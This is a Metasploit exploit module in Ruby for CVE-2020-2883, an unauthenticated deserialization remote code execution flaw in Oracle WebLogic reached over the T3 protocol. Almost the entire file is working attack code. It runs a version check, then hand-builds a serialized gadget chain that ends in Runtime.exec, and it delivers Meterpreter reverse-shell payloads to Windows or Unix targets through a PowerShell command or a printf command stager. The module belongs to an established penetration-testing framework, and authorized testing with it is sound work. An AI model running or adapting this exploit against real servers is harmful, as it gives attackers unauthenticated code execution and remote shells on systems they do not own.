##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WebLogic Server Deserialization RCE BadAttributeValueExpException ExtComp',
        'Description' => %q{
          There exists a Java object deserialization vulnerability
          in multiple versions of WebLogic.

          Unauthenticated remote code execution can be achieved by
          sending a serialized `BadAttributeValueExpException`
          object over the T3 protocol to vulnerable versions of
          WebLogic. Leveraging an `ExtractorComparator` enables
          the ability to trigger `method.invoke()`, which will
          execute arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Quynh Le', # Vulnerability Discovery
          'Y4er', # PoC
          'Shelby Pace', # Metasploit Module
          'Steve Embling' # T3S additions
        ],
        'References' => [
          [ 'CVE', '2020-2883' ],
          [ 'URL', 'https://www.thezdi.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild' ],
        ],
        'Platform' => %w[unix linux win],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win',
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix',
            {
              'Platform' => %w[unix linux],
              'CmdStagerFlavor' => 'printf',
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ],
        ],
        'DisclosureDate' => '2020-04-30',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(7001),
    ])

    register_advanced_options([
      OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
    ])
  end

  def check
    connect

    web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"
    sock.put(web_req)
    sleep(2)
    res = sock.get

    versions =
      [
        Rex::Version.new('12.1.3.0.0'), Rex::Version.new('12.2.1.3.0'),
        Rex::Version.new('12.2.1.4.0')
      ]

    return CheckCode::Unknown('Failed to obtain response from service') unless res

    /WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
    return CheckCode::Unknown('Failed to detect WebLogic') unless version

    @version_no = Rex::Version.new(version)
    print_status("WebLogic version detected: #{@version_no}")

    return CheckCode::Appears if versions.include?(@version_no)

    CheckCode::Detected('Version of WebLogic is not vulnerable')
  ensure
    disconnect
  end

  def exploit
    connect
    print_status('Sending handshake...')
    t3_handshake

    if target.name == 'Windows'
      win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })
      win_obj.prepend('cmd.exe /c ')
      win_obj = build_payload_obj(win_obj)
      t3_send(win_obj)
    else
      execute_cmdstager
    end
  ensure
    disconnect
  end

  def t3_handshake
    # t3 12.2.1\nAS:255
    # \nHL:19\nMS:100000
    # 00\n\n
    if !datastore['SSL'] || datastore['FORCE_T3']
      shake = '7433'
    else
      shake = '743373'
    end
    shake << '2031322e322e310a41533a323535'
    shake << '0a484c3a31390a4d533a313030303030'
    shake << '30300a0a'

    sock.put([shake].pack('H*'))
    sleep(1)
    sock.get_once
  end

  def build_payload_obj(payload_data)
    payload_obj = 'aced0005' # STREAM_MAGIC, STREAM_VERSION
    payload_obj << '73720017' # TC_OBJECT, TC_CLASSDESC, class name length: 23
    payload_obj << '6a6176612e7574696c2e5072696f726974795175657565' # java.util.PriorityQueue
    payload_obj << '94da30b4fb3f82b1' # SerialVersionUID
    payload_obj << '030002' # 2 fields
    payload_obj << '490004' # Integer, field name length: 4
    payload_obj << '73697a65' # size
    payload_obj << '4c000a' # Object, field name length: 10
    payload_obj << '636f6d70617261746f72' # comparator
    payload_obj << '740016' # String, field name length: 22
    payload_obj << '4c6a6176612f7574696c2f436f6d70617261746f723b' # Ljava/util/Comparator;
    payload_obj << '7870'
    payload_obj << '00000002'
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
    payload_obj << '0030' # Class name length: 48
    payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e636f' # com.tangosol.util.comparator.ExtractorComparator
    payload_obj << '6d70617261746f722e457874726163746f72436f'
    payload_obj << '6d70617261746f72'
    payload_obj << extractor_comp_uid # SerialVersionUID
    payload_obj << '020001' # Serializable, 1 field
    payload_obj << '4c000b' # Object, field name length: 11
    payload_obj << '6d5f657874726163746f72' # m_extractor
    payload_obj << '740022'
    payload_obj << '4c636f6d2f74616e676f736f6c2f7574696c2f56' # Lcom/tangosol/util/ValueExtractor;
    payload_obj << '616c7565457874726163746f723b'
    payload_obj << '7870'
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
    payload_obj << '002c' # Class name length: 44
    payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.ChainedExtractor
    payload_obj << '74726163746f722e436861696e65644578747261'
    payload_obj << '63746f72'
    payload_obj << chained_extractor_uid # SerialVersionUID
    payload_obj << '020000'
    payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
    payload_obj << '0036' # Class name length: 54
    payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.AbstractCompositeExtractor
    payload_obj << '74726163746f722e4162737472616374436f6d70'
    payload_obj << '6f73697465457874726163746f72'
    payload_obj << '086b3d8c05690f44' # SerialVersionUID
    payload_obj << '020001' # Serializable, 1 field
    payload_obj << '5b000c' # array, length: 12
    payload_obj << '6d5f61457874726163746f72' # m_aExtractor
    payload_obj << '740023' # String, length: 35
    payload_obj << '5b4c636f6d2f74616e676f736f6c2f7574696c2f' # [Lcom/tangosol/util/ValueExtractor;
    payload_obj << '56616c7565457874726163746f723b'
    payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
    payload_obj << '002d' # Class name length: 45
    payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.AbstractExtractor
    payload_obj << '74726163746f722e416273747261637445787472'
    payload_obj << '6163746f72'
    payload_obj << abstract_extractor_uid # SerialVersionUID
    payload_obj << '020001' # Serializable, 1 field
    payload_obj << '490009' # Integer, field name length: 9
    payload_obj << '6d5f6e546172676574' # m_nTarget
    payload_obj << '7870'
    payload_obj << '00000000'
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
    payload_obj << '0023' # Class name length: 35
    payload_obj << '5b4c636f6d2e74616e676f736f6c2e7574696c2e' # [Lcom.tangosol.util.ValueExtractor;
    payload_obj << '56616c7565457874726163746f723b'
    payload_obj << '2246204735c4a0fe' # SerialVersionUID
    payload_obj << '020000'
    payload_obj << '7870'
    payload_obj << '00000003'
    payload_obj << '7372'
    payload_obj << '002f' # Class name length: 47
    payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.ReflectionExtractor
    payload_obj << '74726163746f722e5265666c656374696f6e4578'
    payload_obj << '74726163746f72'
    payload_obj << reflection_extractor_uid # SerialVersionUID
    payload_obj << '02000' # Serializable
    payload_obj << reflect_extract_count
    payload_obj << '5b0009' # array, length: 9
    payload_obj << '6d5f616f506172616d' # m_aoParam
    payload_obj << '740013' # String, length: 19
    payload_obj << '5b4c6a6176612f6c616e672f4f626a6563743b' # [Ljava/lang/Object;
    payload_obj << add_sect
    payload_obj << '4c0009' # Object, length: 9
    payload_obj << '6d5f734d6574686f64' # m_sMethod
    payload_obj << '740012' # String, length: 18
    payload_obj << '4c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;
    payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE
    payload_obj << '007e0009' # handle
    payload_obj << '00000000'
    payload_obj << '7572'
    payload_obj << '0013' # Class name length: 19
    payload_obj << '5b4c6a6176612e6c616e672e4f626a6563743b' # [Ljava.lang.Object;
    payload_obj << '90ce589f1073296c' # SerialVersionUID
    payload_obj << '020000'
    payload_obj << '7870'
    payload_obj << '00000002'
    payload_obj << '74000a' # String, length: 10
    payload_obj << '67657452756e74696d65' # getRuntime
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
    payload_obj << '0012' # Class name length: 18
    payload_obj << '5b4c6a6176612e6c616e672e436c6173733b' # [Ljava.lang.Class;
    payload_obj << 'ab16d7aecbcd5a99' # SerialVersionUID
    payload_obj << '020000' # Serializable, no fields
    payload_obj << '7870'
    payload_obj << '00000000'
    payload_obj << add_tc_null
    payload_obj << '740009' # String, length: 9
    payload_obj << '6765744d6574686f64' # getMethod
    payload_obj << '7371'
    payload_obj << '007e000d' # handle
    payload_obj << '00000000'
    payload_obj << '7571'
    payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle
    payload_obj << '00000002'
    payload_obj << '707571'
    payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle
    payload_obj << '00000000'
    payload_obj << add_tc_null
    payload_obj << '740006' # String, length: 6
    payload_obj << '696e766f6b65' # invoke
    payload_obj << '7371'
    payload_obj << '007e000d' # handle
    payload_obj << '00000000'
    payload_obj << '7571'
    payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle
    payload_obj << '00000001'
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
    payload_obj << '0013' # Class name length: 19
    payload_obj << '5b4c6a6176612e6c616e672e537472696e673b' # [Ljava.lang.String;
    payload_obj << 'add256e7e91d7b47' # SerialVersionUID
    payload_obj << '020000'
    payload_obj << '7870'
    payload_obj << '00000003'

    payload_bin = format_payload(payload_data)
    payload_obj << payload_bin

    payload_obj << add_tc_null
    payload_obj << '740004'
    payload_obj << '65786563' # exec
    payload_obj << '7704'
    payload_obj << '00000003'
    payload_obj << '76720011'
    payload_obj << '6a6176612e6c616e672e52756e74696d65' # java.lang.Runtime
    payload_obj << '0000000000000000000000'
    payload_obj << '7870'
    payload_obj << '740001'
    payload_obj << '3178'
  end

  def extractor_comp_uid
    case @version_no
    when Rex::Version.new('12.1.3.0.0')
      'c7ad6d3a676f3c18'
    when Rex::Version.new('12.2.1.3.0')
      'fb4ac83df1d72edc'
    else
      'f9b3bc58cc52cd21'
    end
  end

  def change_handle?
    @version_no == Rex::Version.new('12.2.1.3.0')
  end

  def chained_extractor_uid
    case @version_no
    when Rex::Version.new('12.1.3.0.0')
      '889f81b0945d5b7f'
    when Rex::Version.new('12.2.1.3.0')
      '06ee10433a4cc4b4'
    else
      '435b250b72f63db5'
    end
  end

  def abstract_extractor_uid
    case @version_no
    when Rex::Version.new('12.1.3.0.0')
      '658195303e723821'
    when Rex::Version.new('12.2.1.3.0')
      '752289ad4d460138'
    else
      '9b1be18ed70100e5'
    end
  end

  def reflection_extractor_uid
    case @version_no
    when Rex::Version.new('12.1.3.0.0')
      'ee7ae995c02fb4a2'
    when Rex::Version.new('12.2.1.3.0')
      '87973791b26429dd'
    else
      '1f62f564b951b614'
    end
  end

  def reflect_extract_count
    case @version_no
    when Rex::Version.new('12.2.1.3.0')
      '3'
    else
      '2'
    end
  end

  def add_sect
    sect = ''

    if @version_no == Rex::Version.new('12.2.1.3.0')
      sect << '4c0011' # Object, length: 17
      sect << '6d5f657874726163746f' # m_extractorCached
      sect << '72436163686564'
      sect << '740012'
      sect << '4c6a6176612f6c616e67' # Ljava/lang/Object;
      sect << '2f4f626a6563743b'
    end

    sect
  end

  def add_tc_null
    return '70' if @version_no == Rex::Version.new('12.2.1.3.0')

    ''
  end

  def t3_send(payload_obj)
    print_status('Sending object...')

    request_obj = '000009f3' # Original packet length
    request_obj << '016501' # CMD_IDENTIFY_REQUEST, flags
    request_obj << 'ffffffffffffffff'
    request_obj << '00000071'
    request_obj << '0000ea60'
    request_obj << '00000018432ec6'
    request_obj << 'a2a63985b5af7d63e643'
    request_obj << '83f42a6d92c9e9af0f94'
    request_obj << '72027973720078720178'
    request_obj << '720278700000000c0000'
    request_obj << '00020000000000000000'
    request_obj << '00000001007070707070'
    request_obj << '700000000c0000000200'
    request_obj << '00000000000000000000'
    request_obj << '01007006'
    request_obj << 'fe010000' # separator
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
    request_obj << '001d' # Class name length: 29
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
    request_obj << '6a766d2e436c61737354'
    request_obj << '61626c65456e747279'
    request_obj << '2f52658157f4f9ed' # SerialVersionUID
    request_obj << '0c0000' # flags?
    request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
    request_obj << '0024' # Class name length: 36
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
    request_obj << '6f6d6d6f6e2e696e7465'
    request_obj << '726e616c2e5061636b61'
    request_obj << '6765496e666f'
    request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
    request_obj << '020009' # Serializable, 9 fields
    request_obj << '490005' # Field type: Int, field name length: 5
    request_obj << '6d616a6f72' # major
    request_obj << '490005' # Field type: Int, field name length: 5
    request_obj << '6d696e6f72' # minor
    request_obj << '49000b' # Field type: Int, field name length: 11
    request_obj << '70617463685570646174' # patchUpdate
    request_obj << '65'
    request_obj << '49000c' # Field type: Int, field name length: 12
    request_obj << '726f6c6c696e67506174' # rollingPatch
    request_obj << '6368'
    request_obj << '49000b' # Field type: Int, field name length: 11
    request_obj << '73657276696365506163' # servicePack
    request_obj << '6b'
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
    request_obj << '74656d706f7261727950' # temporaryPatch
    request_obj << '61746368'
    request_obj << '4c0009' # Field type: Object, field name length: 9
    request_obj << '696d706c5469746c65' # implTitle
    request_obj << '740012' # String, length: 18
    request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
    request_obj << '2f537472696e673b'
    request_obj << '4c000a' # Field type: Object, field name length: 10
    request_obj << '696d706c56656e646f72' # implVendor
    request_obj << '71007e0003' # TC_REFERENCE, handle
    request_obj << '4c000b' # Field type: Object, field name length: 11
    request_obj << '696d706c56657273696f6e' # implVersion
    request_obj << '71007e0003' # TC_REFERENCE, handle
    request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
    request_obj << '7702' # TC_ENDBLOCKDATA
    request_obj << '000078'
    request_obj << 'fe010000' # separator

    request_obj << payload_obj

    request_obj << 'fe010000' # separator
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
    request_obj << '001d' # Class name length: 29
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
    request_obj << '6a766d2e436c61737354'
    request_obj << '61626c65456e747279'
    request_obj << '2f52658157f4f9ed' # SerialVersionUID
    request_obj << '0c0000'
    request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
    request_obj << '0021' # Class name length: 33
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PeerInfo
    request_obj << '6f6d6d6f6e2e696e7465'
    request_obj << '726e616c2e5065657249'
    request_obj << '6e666f'
    request_obj << '585474f39bc908f1' # SerialVersionUID
    request_obj << '020007' # Serializable, 7 fields
    request_obj << '490005' # Field type: Int, field name length: 5
    request_obj << '6d616a6f72' # major
    request_obj << '490005' # Field type: Int, field name length: 5
    request_obj << '6d696e6f72' # minor
    request_obj << '49000b' # Field type: Int, field name length: 11
    request_obj << '70617463685570646174' # patchUpdate
    request_obj << '65'
    request_obj << '49000c' # Field type: Int, field name length: 12
    request_obj << '726f6c6c696e67506174' # rollingPatch
    request_obj << '6368'
    request_obj << '49000b' # Field type: Int, field name length: 11
    request_obj << '73657276696365506163' # servicePack
    request_obj << '6b'
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
    request_obj << '74656d706f7261727950' # temporaryPatch
    request_obj << '61746368'
    request_obj << '5b0008' # Field type: Array, field name length: 8
    request_obj << '7061636b61676573' # packages
    request_obj << '740027' # String, length: 39
    request_obj << '5b4c7765626c6f676963' # [Lweblogic/common/internal/PackageInfo;
    request_obj << '2f636f6d6d6f6e2f696e'
    request_obj << '7465726e616c2f506163'
    request_obj << '6b616765496e666f3b'
    request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
    request_obj << '0024' # Class name length: 36
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.VersionInfo
    request_obj << '6f6d6d6f6e2e696e7465'
    request_obj << '726e616c2e5665727369'
    request_obj << '6f6e496e666f'
    request_obj << '972245516452463e' # SerialVersionUID
    request_obj << '020003' # Serializable, 3 fields
    request_obj << '5b0008' # Field type: Array, field name length: 8
    request_obj << '7061636b61676573' # packages
    request_obj << '71007e0003' # TC_REFERENCE, handle
    request_obj << '4c000e' # Field type: Object, field name length: 14
    request_obj << '72656c65617365566572' # releaseVersion
    request_obj << '73696f6e'
    request_obj << '740012' # String, length: 18
    request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
    request_obj << '2f537472696e673b'
    request_obj << '5b0012' # Field type: Array, field name length: 18
    request_obj << '76657273696f6e496e66' # versionInfoAsBytes
    request_obj << '6f41734279746573'
    request_obj << '740002' # String, length: 2
    request_obj << '5b42' # [B
    request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
    request_obj << '0024' # Class name length: 36
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
    request_obj << '6f6d6d6f6e2e696e7465'
    request_obj << '726e616c2e5061636b61'
    request_obj << '6765496e666f'
    request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
    request_obj << '020009' # Serializable, 9 fields
    request_obj << '490005' # Field type: Int, field name length: 5
    request_obj << '6d616a6f72' # major
    request_obj << '490005' # Field type: Int, field name length: 5
    request_obj << '6d696e6f72' # minor
    request_obj << '49000b' # Field type: Int, field name length: 11
    request_obj << '70617463685570646174' # patchUpdate
    request_obj << '65'
    request_obj << '49000c' # Field type: Int, field name length: 12
    request_obj << '726f6c6c696e67506174' # rollingPatch
    request_obj << '6368'
    request_obj << '49000b' # Field type: Int, field name length: 11
    request_obj << '73657276696365506163' # servicePack
    request_obj << '6b'
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
    request_obj << '74656d706f7261727950' # temporaryPatch
    request_obj << '61746368'
    request_obj << '4c0009' # Field type: Object, field name length: 9
    request_obj << '696d706c5469746c65' # implTitle
    request_obj << '71007e0005' # TC_REFERENCE, handle
    request_obj << '4c000a' # Field type: Object, field name length: 10
    request_obj << '696d706c56656e646f72' # implVendor
    request_obj << '71007e0005' # TC_REFERENCE, handle
    request_obj << '4c000b' # Field type: Object, field name length: 11
    request_obj << '696d706c56657273696f' # implVersion
    request_obj << '6e'
    request_obj << '71007e0005' # TC_REFERENCE, handle
    request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
    request_obj << '7702000078' # TC_BLOCKDATA, 2 bytes, TC_ENDBLOCKDATA
    request_obj << 'fe00ff' # separator
    request_obj << 'fe010000'
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
    request_obj << '0013' # Class name length: 19
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
    request_obj << '6a766d2e4a564d4944'
    request_obj << 'dc49c23ede121e2a' # SerialVersionUID
    request_obj << '0c0000'
    request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
    request_obj << '4621'
    request_obj << '000000000000000000'
    request_obj << '09' # length: 9
    request_obj << '3132372e302e312e31' # 127.0.1.1
    request_obj << '000b' # length: 11
    request_obj << '75732d6c2d627265656e' # us-l-breens
    request_obj << '73'
    request_obj << 'a53caff10000000700'
    request_obj << '001b59'
    request_obj << 'ffffffffffffffffffff'
    request_obj << 'ffffffffffffffffffff'
    request_obj << 'ffffffff'
    request_obj << '0078'
    request_obj << 'fe010000' # separator
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
    request_obj << '0013' # Class name length: 19
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
    request_obj << '6a766d2e4a564d4944'
    request_obj << 'dc49c23ede121e2a' # SerialVersionUID
    request_obj << '0c0000'
    request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
    request_obj << '1d0181401281'
    request_obj << '34bf427600093132372e'
    request_obj << '302e312e31a53caff1'
    request_obj << '000000000078'

    new_len = (request_obj.length / 2).to_s(16).rjust(8, '0')
    request_obj[0, 8] = new_len

    sock.put([request_obj].pack('H*'))
    sleep(1)
  end

  def format_payload(payload_cmd)
    print_status('Formatting payload...')
    payload_arr = payload_cmd.split(' ', 3)

    formatted_payload = ''
    payload_arr.each do |part|
      formatted_payload << '74' # denotes a string
      formatted_payload << part.length.to_s(16).rjust(4, '0')
      formatted_payload << part.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
    end

    formatted_payload
  end

  def execute_command(cmd, _opts = {})
    cmd.prepend('/bin/sh -c ')
    cmd = build_payload_obj(cmd)

    t3_send(cmd)
  end
end
